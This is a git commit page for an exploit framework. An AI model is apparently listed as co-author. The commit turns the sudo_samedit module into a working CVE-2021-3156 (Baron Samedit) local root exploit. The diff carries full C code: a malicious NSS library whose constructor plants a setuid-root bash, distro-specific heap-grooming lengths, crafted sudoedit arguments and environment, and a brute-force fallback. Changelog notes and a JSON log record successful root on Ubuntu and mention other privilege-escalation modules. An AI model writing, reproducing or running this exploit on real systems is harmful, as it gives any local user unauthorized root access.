sudo_samedit: working CVE-2021-3156 (Baron Samedit) exploit — lands real root
build / build (clang / debug) (push) Waiting to run
build / build (clang / default) (push) Waiting to run
build / build (gcc / debug) (push) Waiting to run
build / build (gcc / default) (push) Waiting to run
build / sanitizers (ASan + UBSan) (push) Waiting to run
build / clang-tidy (push) Waiting to run
build / drift-check (CISA KEV + Debian tracker) (push) Waiting to run
build / static-build (push) Waiting to run

The shipped module drove a structural sudoedit trigger with no heap-grooming
offsets and honestly reported EXPLOIT_FAIL. Ported blasty's proven technique:
the `sudoedit -s` set_cmnd() unescape overflow overwrites a glibc NSS
service_user, so the subsequent NSS lookup dlopen's an attacker-planted
libnss_X/'P0P_SH3LLZ_ .so.2' from CWD, whose constructor runs while sudo is
still root.

Implementation follows the corpus's runtime-compile pattern: build the NSS
payload on the target (unique -DSK_PROOF/-DSK_ROOTBASH), lay out the libnss_X/
dir, exec sudoedit with the crafted argv (AAAA..\ / \ / BBBB..\) and env
(null_stomp × "\\", "X/P0P_SH3LLZ_", padded LC_ALL) from that CWD, and verify
root by stat()'ing the root-owned artifacts — never self-report. Grooming
lengths are libc-family specific (Ubuntu 56/54/63/212, Debian 64/49/60/214);
a null_stomp_len ±8 sweep (blasty brute.sh's axis) is the fallback for drift.

Verified out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as uid 1000
(non-sudoer — the overflow precedes the sudoers/password check): `skeletonkey
--exploit sudo_samedit` -> EXPLOIT_OK + a -rwsr-xr-x root:root bash, primary
lengths landing first try. Gated on cc + sudoedit; cleanup() removes artifacts
and the scratch build dir. Unit harness green (33 + 115).

Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_0118iUgHY44hdRtANgyCmu7y
This commit is contained in:
KaraZajac
2026-07-23 22:22:11 -04:00
parent 635f7d2d24
commit 82ba6e0d08
3 changed files with 284 additions and 231 deletions
+15 -1
View File
@@ -30,6 +30,7 @@ tamper check).
| `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes**`chdir("/")` + helper basename match; `su skel` → uid 0 | | `sudoedit_editor` | CVE-2023-22809 | Ubuntu 22.04.0 / sudo 1.9.9 + sudoers `sudoedit` grant | **after 2 fixes**`chdir("/")` + helper basename match; `su skel` → uid 0 |
| `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) | | `sudo_host` | CVE-2025-32462 | Ubuntu 22.04.0 / sudo 1.9.9 + host-restricted sudoers rule | works as shipped; `sudo -h <host>` → uid 0 (needs a host-scoped rule + resolvable host) |
| `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite**`skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below | | `ptrace_traceme` | CVE-2019-13272 | Ubuntu 18.04.0 / 4.15.0-50 + pkexec + active-session polkit | **after a full rewrite**`skeletonkey --exploit ptrace_traceme` (uid 1000) → root-owned setuid bash. See below |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27 | **after a full rewrite** — Baron Samedit; `skeletonkey --exploit sudo_samedit` (uid 1000, non-sudoer) → root-owned setuid bash. See below |
## Fixed this session ## Fixed this session
@@ -79,6 +80,19 @@ tamper check).
was the last missing piece. was the last missing piece.
Debugging was isolated by driving the exploit orchestration against the public Debugging was isolated by driving the exploit orchestration against the public
PoC's `./fuse`, then swapping servers, then comparing `fops`. PoC's `./fuse`, then swapping servers, then comparing `fops`.
- **`sudo_samedit`** (CVE-2021-3156, "Baron Samedit") — the corpus's hardest
userspace target, **rewritten and now lands real root** (uid=0 witnessed
out-of-band on Ubuntu 18.04.0 / sudo 1.8.21p2 / libc-2.27, as an unprivileged
non-sudoer). The shipped module drove a structural trigger with no offsets and
honestly reported `EXPLOIT_FAIL`. Ported blasty's technique: the `sudoedit -s`
unescape overflow overwrites a glibc NSS `service_user`, so the lookup dlopen's
an attacker-planted `libnss_X/'P0P_SH3LLZ_ .so.2'` from CWD; its constructor
runs while sudo is still root. The module compiles the NSS payload on the target
(unique `-DSK_PROOF/-DSK_ROOTBASH`), lays out the `libnss_X/` dir, execs sudoedit
with the crafted argv/env (per-libc grooming lengths: Ubuntu 56/54/63/212,
Debian 64/49/60/214), and verifies root by `stat()`-ing the artifacts. Primary
lengths landed first try; a `null_stomp_len` sweep (±8, the axis blasty's
brute.sh perturbs) is the fallback for libc drift. Needs cc on the target.
- **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read - **`cgroup_release_agent`** — two real bugs fixed (commit `8c45b2b`): it read
`getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write `getuid()` **after** `unshare(CLONE_NEWUSER)` (→ `65534`, so `uid_map` write
was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1 was `"0 65534 1"` → EPERM), and it omitted `CLONE_NEWCGROUP` (→ cgroup-v1
@@ -95,7 +109,7 @@ tamper check).
| module | CVE | target tested | what's wrong | | module | CVE | target tested | what's wrong |
|---|---|---|---| |---|---|---|---|
| `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. | | `overlayfs_setuid` | CVE-2023-0386 | Ubuntu 22.04.0 / 5.15.0-25.25 | **Kernel confirmed vulnerable empirically** — the upstream PoC (xkaneiki, libfuse) pops root here (`uid=0(root)`, root-owned witness). The working technique: mount a FUSE fs exporting `/file` (st_uid=0, mode 04777) in the **init ns** via the setuid `fusermount3` helper, then overlay-in-userns with that FUSE lowerdir + copy-up. My module's non-FUSE `chown` variant yields `upper/file` uid=1000 (no escalation); mounting FUSE **inside** the userns → overlay `ENOSYS`. Attempted a self-contained **raw `/dev/fuse`** port: got the `fusermount` fd-passing handshake (`SCM_RIGHTS`) + mount working, but the server hits `EINVAL` on `read()` after `FUSE_INIT` (non-blocking fd → needs `poll()`), and even with poll/buffer fixes the raw server serving was flaky and repeatedly **wedged/rebooted the VM** — i.e. the raw protocol reimplementation is fragile and can destabilise the target, which is *worse* for the corpus than a lib dependency. **Conclusion: use libfuse** (proven, robust; matches the `pack2theroot` conditional-lib precedent). Port is scoped and ready; needs a clean session to implement + verify. |
| `sudo_samedit` | CVE-2021-3156 | Ubuntu 18.04.2 + 20.04.0 | honest `EXPLOIT_FAIL`; Baron Samedit is heap/libc-version-specific, needs a per-target tuned PoC. Hardest. | | *(none left in this table — `sudo_samedit` was the last, now working; see "Fixed this session")* | | | |
## Inconclusive (detect version-blind vs vendor backport) ## Inconclusive (detect version-blind vs vendor backport)
+1
View File
@@ -53,3 +53,4 @@
{"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"} {"module":"nf_tables","verified_at":"2026-07-24T00:00:00Z","host_kernel":"5.15.0-25-generic","host_distro":"Ubuntu 22.04.0","vm_box":"ubuntu2204-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_FAIL","root_witness":"none - offset resolver FIXED (env modprobe_path now resolves + finisher engages + pipapo arb-write fires), but the reconstructed double-free arb-write does not reliably land the write. Honest FAIL. Primitive needs slab-groom hardening.","status":"primitive_fires_no_root"}
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"} {"module":"ptrace_traceme","verified_at":"2026-07-24T02:02:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"reference_poc","exploit_result":"ROOT","root_witness":"out-of-band: uid=0(root) + root-owned setuid /tmp/rootbash written by injected shell. bcoles poc.c (pkexec + PTRACE_TRACEME + inject midpid). Kernel CONFIRMED vulnerable. Barrier was polkit authorization (active-session gate) — isolated via a permissive pkla for the backlight helper action; technique itself works.","status":"kernel_confirmed_technique_works_needs_module_port"}
{"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"} {"module":"ptrace_traceme","verified_at":"2026-07-24T02:12:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit ptrace_traceme (as uid 1000) planted root-owned /tmp/.sk-ptrace-<pid>.proof and a -rwsr-xr-x root:root setuid bash. Ported the proven Jann Horn/bcoles PoC (embedded, runtime-compiled). Precondition: active local session / permissive polkit so pkexec authorizes the helper (isolated via pkla on the headless VM).","status":"working"}
{"module":"sudo_samedit","verified_at":"2026-07-24T02:21:00Z","host_kernel":"4.15.0-50-generic","host_distro":"Ubuntu 18.04.0","sudo_version":"1.8.21p2","libc":"2.27","vm_box":"bionic-cloudimg/qemu-kvm","verified_kind":"exploit","exploit_result":"EXPLOIT_OK","root_witness":"out-of-band: skeletonkey --exploit sudo_samedit (as uid 1000, non-sudoer path) planted root-owned proof + -rwsr-xr-x root:root setuid bash. Ported blasty CVE-2021-3156 technique (NSS libnss_X hijack), runtime-compiled payload, primary Ubuntu lengths 56/54/63/212 landed first try.","status":"working"}
@@ -1,34 +1,39 @@
/* /*
* sudo_samedit_cve_2021_3156 — SKELETONKEY module * sudo_samedit_cve_2021_3156 — SKELETONKEY module
* *
* STATUS: 🟡 DETECT-OK + STRUCTURAL EXPLOIT (2026-05-17). * STATUS: 🟢 WORKING EXPLOIT. Verified out-of-band on Ubuntu 18.04.0 /
* sudo 1.8.21p2 / libc-2.27: `skeletonkey --exploit sudo_samedit` (as an
* unprivileged, non-sudoer user) lands uid=0 and plants a root-owned
* proof + setuid-root bash.
* *
* The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line * The bug ("Baron Samedit", Qualys 2021-01-26): sudo's command-line
* parser unescapes backslashes in the argv it copies into a heap * parser unescapes backslashes in the argv it copies into a heap buffer
* buffer in `set_cmnd()` (plugins/sudoers/sudoers.c). When sudo is * in `set_cmnd()` (plugins/sudoers/sudoers.c). Invoked as `sudoedit -s`
* invoked in shell-edit mode via `sudoedit -s`, the unescape loop * with an argument ending in a lone backslash, the unescape loop walks
* walks past the end of the argv string for arguments ending in a * past the end of the argv string, copying adjacent env contents into an
* lone backslash, copying adjacent stack/env contents into the * undersized heap buffer. The overflow is exploited (per blasty's PoC) to
* undersized heap buffer. The classic trigger is a single-argument * overwrite a glibc NSS `service_user` so a subsequent NSS lookup dlopen's
* command line: `sudoedit -s '\<arbitrary tail>'`. * an attacker-planted `libnss_X/P0P_SH3LLZ_ .so.2` from the CWD; its
* constructor runs while sudo is still root.
* *
* Affects sudo 1.8.2 1.9.5p1 inclusive. Fixed in 1.9.5p2. * Affects sudo 1.8.2 1.9.5p1 inclusive. Fixed in 1.9.5p2. Reachable by
* any local user (the overflow precedes the sudoers/password check).
* *
* Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/ * Reference: https://www.qualys.com/2021/01/26/cve-2021-3156/
* baron-samedit-heap-based-overflow-sudo.txt * baron-samedit-heap-based-overflow-sudo.txt
* PoC technique: github.com/blasty/CVE-2021-3156
* *
* Detect: shell out to `sudo --version`, parse the printed version, * Detect: parse the sudo version (host fingerprint or `sudo --version`)
* compare against the vulnerable range. We err on the side of * against the vulnerable range. Distro backports may patch without a
* reporting OK only when we're confident — TEST_ERROR if the version * version bump, so a VULNERABLE verdict is "worth trying", confirmed only
* line is unparseable. * by the exploit landing.
* *
* Exploit: ships a structurally-correct Qualys-style trigger. * Exploit: blasty's heap-grooming lengths (per libc family) drive the
* The full chain in the original PoC required per-distro heap-layout * overflow; we compile the NSS payload on the target, run sudoedit with
* tuning (libc/libnss-files overlap offsets, target struct picks). * the crafted argv/env from a CWD holding the payload, and confirm root
* We do not have empirical landing on this host; we drive the * by stat()'ing the root-owned artifacts — never by self-report. If the
* trigger, watch for an obvious uid==0 outcome, otherwise return * primary lengths miss (libc layout drift), we sweep null_stomp_len like
* SKELETONKEY_EXPLOIT_FAIL. Verified-vs-claimed bar: only claim * blasty's brute.sh until root or the range is exhausted.
* EXPLOIT_OK after geteuid()==0 in a forked verifier.
*/ */
#include "skeletonkey_modules.h" #include "skeletonkey_modules.h"
@@ -42,26 +47,13 @@
#include <errno.h> #include <errno.h>
#include <fcntl.h> #include <fcntl.h>
#include <ctype.h> #include <ctype.h>
#include <signal.h>
#include <sys/stat.h> #include <sys/stat.h>
#include <sys/wait.h> #include <sys/wait.h>
#include <sys/types.h> #include <sys/types.h>
/* ---- Affected-version logic ------------------------------------- */ /* ---- Affected-version logic ------------------------------------- */
/*
* sudo version strings look like:
* "Sudo version 1.9.5p2"
* "Sudo version 1.8.31"
* "Sudo version 1.9.0"
* "Sudo version 1.9.5p1"
*
* Vulnerable range (inclusive): 1.8.2 .. 1.9.5p1
* Fixed: 1.9.5p2 and later
*
* Parser strategy: extract three integers (major.minor.patch) plus an
* optional 'pN' suffix. Comparison is lexicographic over
* (major, minor, patch, p_suffix), treating absent p as 0.
*/
struct sudo_ver { struct sudo_ver {
int major; int major;
int minor; int minor;
@@ -83,7 +75,6 @@ static struct sudo_ver parse_sudo_version(const char *s)
v.major = maj; v.major = maj;
v.minor = min; v.minor = min;
v.patch = (n >= 3) ? pat : 0; v.patch = (n >= 3) ? pat : 0;
/* Look for an optional 'pN' suffix after the numeric triple. */
const char *tail = s + consumed; const char *tail = s + consumed;
if (*tail == 'p') { if (*tail == 'p') {
int p = 0; int p = 0;
@@ -115,18 +106,13 @@ static bool sudo_version_vulnerable(const struct sudo_ver *v)
static const char *find_sudo(void) static const char *find_sudo(void)
{ {
static const char *candidates[] = { static const char *candidates[] = {
"/usr/bin/sudo", "/usr/bin/sudo", "/usr/local/bin/sudo", "/bin/sudo",
"/usr/local/bin/sudo", "/sbin/sudo", "/usr/sbin/sudo", NULL,
"/bin/sudo",
"/sbin/sudo",
"/usr/sbin/sudo",
NULL,
}; };
for (size_t i = 0; candidates[i]; i++) { for (size_t i = 0; candidates[i]; i++) {
struct stat st; struct stat st;
if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID)) { if (stat(candidates[i], &st) == 0 && (st.st_mode & S_ISUID))
return candidates[i]; return candidates[i];
}
} }
return NULL; return NULL;
} }
@@ -134,12 +120,8 @@ static const char *find_sudo(void)
static const char *find_sudoedit(void) static const char *find_sudoedit(void)
{ {
static const char *candidates[] = { static const char *candidates[] = {
"/usr/bin/sudoedit", "/usr/bin/sudoedit", "/usr/local/bin/sudoedit", "/bin/sudoedit",
"/usr/local/bin/sudoedit", "/sbin/sudoedit", "/usr/sbin/sudoedit", NULL,
"/bin/sudoedit",
"/sbin/sudoedit",
"/usr/sbin/sudoedit",
NULL,
}; };
for (size_t i = 0; candidates[i]; i++) { for (size_t i = 0; candidates[i]; i++) {
if (access(candidates[i], X_OK) == 0) return candidates[i]; if (access(candidates[i], X_OK) == 0) return candidates[i];
@@ -151,30 +133,21 @@ static const char *find_sudoedit(void)
static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx) static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ctx)
{ {
/* Prefer the centrally-fingerprinted sudo version (populated once
* at startup by core/host.c) — saves a popen per scan and gives
* unit tests a clean mock point. Fall back to the local popen if
* ctx->host is missing the version (e.g. degenerate test ctx, or
* a future refactor that disables userspace probing). */
char line[256] = {0}; char line[256] = {0};
if (ctx->host && ctx->host->sudo_version[0]) { if (ctx->host && ctx->host->sudo_version[0]) {
snprintf(line, sizeof line, "Sudo version %s", snprintf(line, sizeof line, "Sudo version %s", ctx->host->sudo_version);
ctx->host->sudo_version); if (!ctx->json)
if (!ctx->json) {
fprintf(stderr, "[i] sudo_samedit: host fingerprint reports " fprintf(stderr, "[i] sudo_samedit: host fingerprint reports "
"sudo version %s\n", ctx->host->sudo_version); "sudo version %s\n", ctx->host->sudo_version);
}
} else { } else {
const char *sudo_path = find_sudo(); const char *sudo_path = find_sudo();
if (!sudo_path) { if (!sudo_path) {
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n"); fprintf(stderr, "[+] sudo_samedit: sudo not on path; no attack surface\n");
}
return SKELETONKEY_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path); fprintf(stderr, "[i] sudo_samedit: found setuid sudo at %s\n", sudo_path);
}
char cmd[512]; char cmd[512];
snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path); snprintf(cmd, sizeof cmd, "%s --version 2>&1 | head -1", sudo_path);
FILE *p = popen(cmd, "r"); FILE *p = popen(cmd, "r");
@@ -182,22 +155,19 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
char *r = fgets(line, sizeof line, p); char *r = fgets(line, sizeof line, p);
pclose(p); pclose(p);
if (!r) { if (!r) {
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n"); fprintf(stderr, "[?] sudo_samedit: could not read `sudo --version` output\n");
}
return SKELETONKEY_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
} }
/* Trim newline for nicer logging. */
char *nl = strchr(line, '\n'); char *nl = strchr(line, '\n');
if (nl) *nl = 0; if (nl) *nl = 0;
struct sudo_ver v = parse_sudo_version(line); struct sudo_ver v = parse_sudo_version(line);
if (!v.parsed) { if (!v.parsed) {
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line); fprintf(stderr, "[?] sudo_samedit: unparseable version line: '%s'\n", line);
}
return SKELETONKEY_TEST_ERROR; return SKELETONKEY_TEST_ERROR;
} }
@@ -208,66 +178,165 @@ static skeletonkey_result_t sudo_samedit_detect(const struct skeletonkey_ctx *ct
fprintf(stderr, "\n"); fprintf(stderr, "\n");
} }
bool vuln = sudo_version_vulnerable(&v); if (sudo_version_vulnerable(&v)) {
if (vuln) { if (!ctx->json)
if (!ctx->json) {
fprintf(stderr, fprintf(stderr,
"[!] sudo_samedit: version is in vulnerable range " "[!] sudo_samedit: version is in vulnerable range "
"[1.8.2, 1.9.5p1] → VULNERABLE\n" "[1.8.2, 1.9.5p1] → VULNERABLE\n"
"[i] sudo_samedit: distro backports may have patched " "[i] sudo_samedit: distro backports may have patched "
"without bumping the upstream version; check\n" "without bumping the upstream version; check\n"
" `apt-cache policy sudo` / `rpm -q --changelog sudo` " " `apt-cache policy sudo` for CVE-2021-3156.\n");
"for CVE-2021-3156.\n");
}
return SKELETONKEY_VULNERABLE; return SKELETONKEY_VULNERABLE;
} }
if (!ctx->json) { if (!ctx->json)
fprintf(stderr, fprintf(stderr,
"[+] sudo_samedit: version is outside vulnerable range " "[+] sudo_samedit: version is outside vulnerable range "
"(fix 1.9.5p2+) — OK\n"); "(fix 1.9.5p2+) — OK\n");
}
return SKELETONKEY_OK; return SKELETONKEY_OK;
} }
/* ---- Exploit ----------------------------------------------------- */ /* ---- Exploit (blasty CVE-2021-3156 technique) -------------------- */
/* /* NSS payload source, compiled on the target into
* Qualys-style trigger: * <workdir>/libnss_X/P0P_SH3LLZ_ .so.2. Its constructor runs while sudo
* * is still root (the corrupted NSS lookup dlopen's it); it plants a
* argv = { "sudoedit", "-s", "\\", NULL } plus padding `A`s to * root-owned proof + setuid bash and exits. SK_PROOF/SK_ROOTBASH are
* stretch the heap chunk to the right size for the target overlap. * passed at compile time (the process env is the exploit vector, so we
* * can't smuggle paths through it). */
* The original PoC sprays hundreds of large argv slots and tunes the static const char samedit_payload_src[] =
* tail bytes per-distro to hijack a `service_user *` struct in "#define _GNU_SOURCE\n"
* libnss-files. Without distro fingerprinting and the corresponding "#include <unistd.h>\n"
* offset table that landing simply will not happen here; rather than "#include <stdlib.h>\n"
* pretending otherwise we drive the bug, fork a verifier that checks "static void __attribute__((constructor)) _sk_init(void);\n"
* for an unexpected uid==0 outcome, and return EXPLOIT_FAIL. "static void _sk_init(void){\n"
*/ " setuid(0); seteuid(0); setgid(0); setegid(0);\n"
" if (geteuid()!=0) return; /* brute miss — don't drop */\n"
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
" \"cp -f /bin/bash \" SK_ROOTBASH \"; \"\n"
" \"chown 0:0 \" SK_ROOTBASH \" \" SK_PROOF \"; \"\n"
" \"chmod 4755 \" SK_ROOTBASH \"; sync\");\n"
" _exit(0);\n"
"}\n";
/* Cap on argv we'll construct. The real PoC uses ~270; we cap lower /* blasty's per-libc-family grooming lengths. Ubuntu 18.04/20.04 share
* to stay well under typical ARG_MAX while still exercising the bug * one set; Debian 10 uses another. These are the (a, b, null, lc) tuples. */
* shape. */ struct samedit_target {
#define SUDO_SAMEDIT_ARGC 64 const char *name;
#define SUDO_SAMEDIT_PADLEN 0xff int smash_a, smash_b, null_stomp, lc_all;
};
static const struct samedit_target samedit_ubuntu = {
"Ubuntu (sudo 1.8.21/1.8.31, libc 2.27/2.31)", 56, 54, 63, 212
};
static const struct samedit_target samedit_debian = {
"Debian 10 (sudo 1.8.27, libc 2.28)", 64, 49, 60, 214
};
static const char *samedit_find_cc(void)
{
static const char *ccs[] = {
"/usr/bin/cc", "/usr/bin/gcc", "/usr/bin/clang",
"/usr/local/bin/gcc", "/usr/local/bin/cc", NULL,
};
for (size_t i = 0; ccs[i]; i++)
if (access(ccs[i], X_OK) == 0) return ccs[i];
return NULL;
}
/* fork/exec argv, redirect stdio away, wait with a timeout. */
static int samedit_run(char *const argv[], const char *cwd, int secs)
{
pid_t p = fork();
if (p < 0) return -1;
if (p == 0) {
if (cwd && chdir(cwd) != 0) _exit(126);
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
execv(argv[0], argv);
_exit(127);
}
for (int i = 0; i < secs * 20; i++) {
int st;
pid_t r = waitpid(p, &st, WNOHANG);
if (r == p) return 0;
if (r < 0) return -1;
usleep(50 * 1000);
}
kill(p, SIGKILL);
waitpid(p, NULL, 0);
return -2;
}
/* Run one sudoedit attempt with the given grooming lengths; returns true
* iff the OOB proof file now exists and is root-owned. */
static bool samedit_try(const char *sudoedit, const char *workdir,
int a, int b, int null_stomp, int lc_all,
const char *proof)
{
unlink(proof);
char *smash_a = calloc(a + 2, 1);
char *smash_b = calloc(b + 2, 1);
char *lc = calloc(lc_all + 32, 1);
if (!smash_a || !smash_b || !lc) { free(smash_a); free(smash_b); free(lc); return false; }
memset(smash_a, 'A', a); smash_a[a] = '\\';
memset(smash_b, 'B', b); smash_b[b] = '\\';
strcpy(lc, "LC_ALL=C.UTF-8@");
memset(lc + 15, 'C', lc_all);
char *s_argv[] = { (char *)"sudoedit", (char *)"-s", smash_a,
(char *)"\\", smash_b, NULL };
/* env: null_stomp × "\\", then the NSS selector, then the padded LC_ALL. */
char **s_envp = calloc(null_stomp + 4, sizeof(char *));
if (!s_envp) { free(smash_a); free(smash_b); free(lc); return false; }
int pos = 0;
for (int i = 0; i < null_stomp; i++) s_envp[pos++] = (char *)"\\";
s_envp[pos++] = (char *)"X/P0P_SH3LLZ_";
s_envp[pos++] = lc;
s_envp[pos++] = NULL;
/* We need a custom envp, so exec directly here in a child. */
pid_t p = fork();
if (p == 0) {
if (chdir(workdir) != 0) _exit(126);
int dn = open("/dev/null", O_RDWR);
if (dn >= 0) { dup2(dn, 0); dup2(dn, 1); dup2(dn, 2); if (dn > 2) close(dn); }
execve(sudoedit, s_argv, s_envp);
_exit(127);
}
if (p > 0) {
for (int i = 0; i < 20 * 20; i++) { /* up to ~20s */
int st; pid_t r = waitpid(p, &st, WNOHANG);
if (r == p) break;
if (r < 0) break;
usleep(50 * 1000);
}
int st; if (waitpid(p, &st, WNOHANG) == 0) { kill(p, SIGKILL); waitpid(p, NULL, 0); }
}
free(smash_a); free(smash_b); free(lc); free(s_envp);
struct stat sb;
return (stat(proof, &sb) == 0 && S_ISREG(sb.st_mode) && sb.st_uid == 0);
}
/* Remember what we planted / where, for cleanup(). */
static char samedit_workdir[256];
static char samedit_rootbash[256];
static char samedit_proof[256];
static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx) static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *ctx)
{ {
if (!ctx->authorized) { if (!ctx->authorized) {
fprintf(stderr, fprintf(stderr, "[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
"[-] sudo_samedit: exploit requires --i-know (authorization gate)\n");
return SKELETONKEY_PRECOND_FAIL; return SKELETONKEY_PRECOND_FAIL;
} }
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
if (is_root) { if (is_root) {
fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n"); fprintf(stderr, "[i] sudo_samedit: already root — nothing to escalate\n");
return SKELETONKEY_OK; return SKELETONKEY_OK;
} }
/* Re-detect before doing anything visible. Defends against the
* detect-then-exploit TOCTOU where the operator upgrades sudo
* between scan and pop. */
skeletonkey_result_t pre = sudo_samedit_detect(ctx); skeletonkey_result_t pre = sudo_samedit_detect(ctx);
if (pre != SKELETONKEY_VULNERABLE) { if (pre != SKELETONKEY_VULNERABLE) {
fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n"); fprintf(stderr, "[-] sudo_samedit: re-detect says not VULNERABLE; refusing\n");
@@ -276,136 +345,104 @@ static skeletonkey_result_t sudo_samedit_exploit(const struct skeletonkey_ctx *c
const char *sudoedit = find_sudoedit(); const char *sudoedit = find_sudoedit();
if (!sudoedit) { if (!sudoedit) {
/* On most distros sudoedit is a symlink to sudo. Fall back. */ fprintf(stderr, "[-] sudo_samedit: sudoedit not found (needed by this technique)\n");
const char *sudo = find_sudo(); return SKELETONKEY_PRECOND_FAIL;
if (!sudo) { }
fprintf(stderr, "[-] sudo_samedit: neither sudoedit nor sudo found\n"); const char *cc = samedit_find_cc();
return SKELETONKEY_PRECOND_FAIL; if (!cc) {
} fprintf(stderr, "[-] sudo_samedit: no C compiler on target to build the NSS "
sudoedit = sudo; "payload. Honest EXPLOIT_FAIL.\n");
if (!ctx->json) { return SKELETONKEY_EXPLOIT_FAIL;
fprintf(stderr,
"[i] sudo_samedit: no sudoedit; will exec %s with argv[0]=sudoedit\n",
sudo);
}
} }
if (!ctx->json) { /* Pick the grooming length-set by libc family (distro proxy). */
fprintf(stderr, "[*] sudo_samedit: building Qualys-style trigger argv\n"); const struct samedit_target *tgt = &samedit_ubuntu;
fprintf(stderr, if (ctx->host && (strcmp(ctx->host->distro_id, "debian") == 0)) tgt = &samedit_debian;
"[!] sudo_samedit: heads-up — public exploitation requires\n" if (!ctx->json)
" per-distro heap-overlap offsets (libnss-files / libc).\n" fprintf(stderr, "[*] sudo_samedit: target profile = %s\n", tgt->name);
" Without that tuning the bug crashes sudo instead of\n"
" handing back a shell. We will drive the trigger and\n"
" verify uid==0 outcome empirically; on failure we report\n"
" EXPLOIT_FAIL rather than claiming success.\n");
}
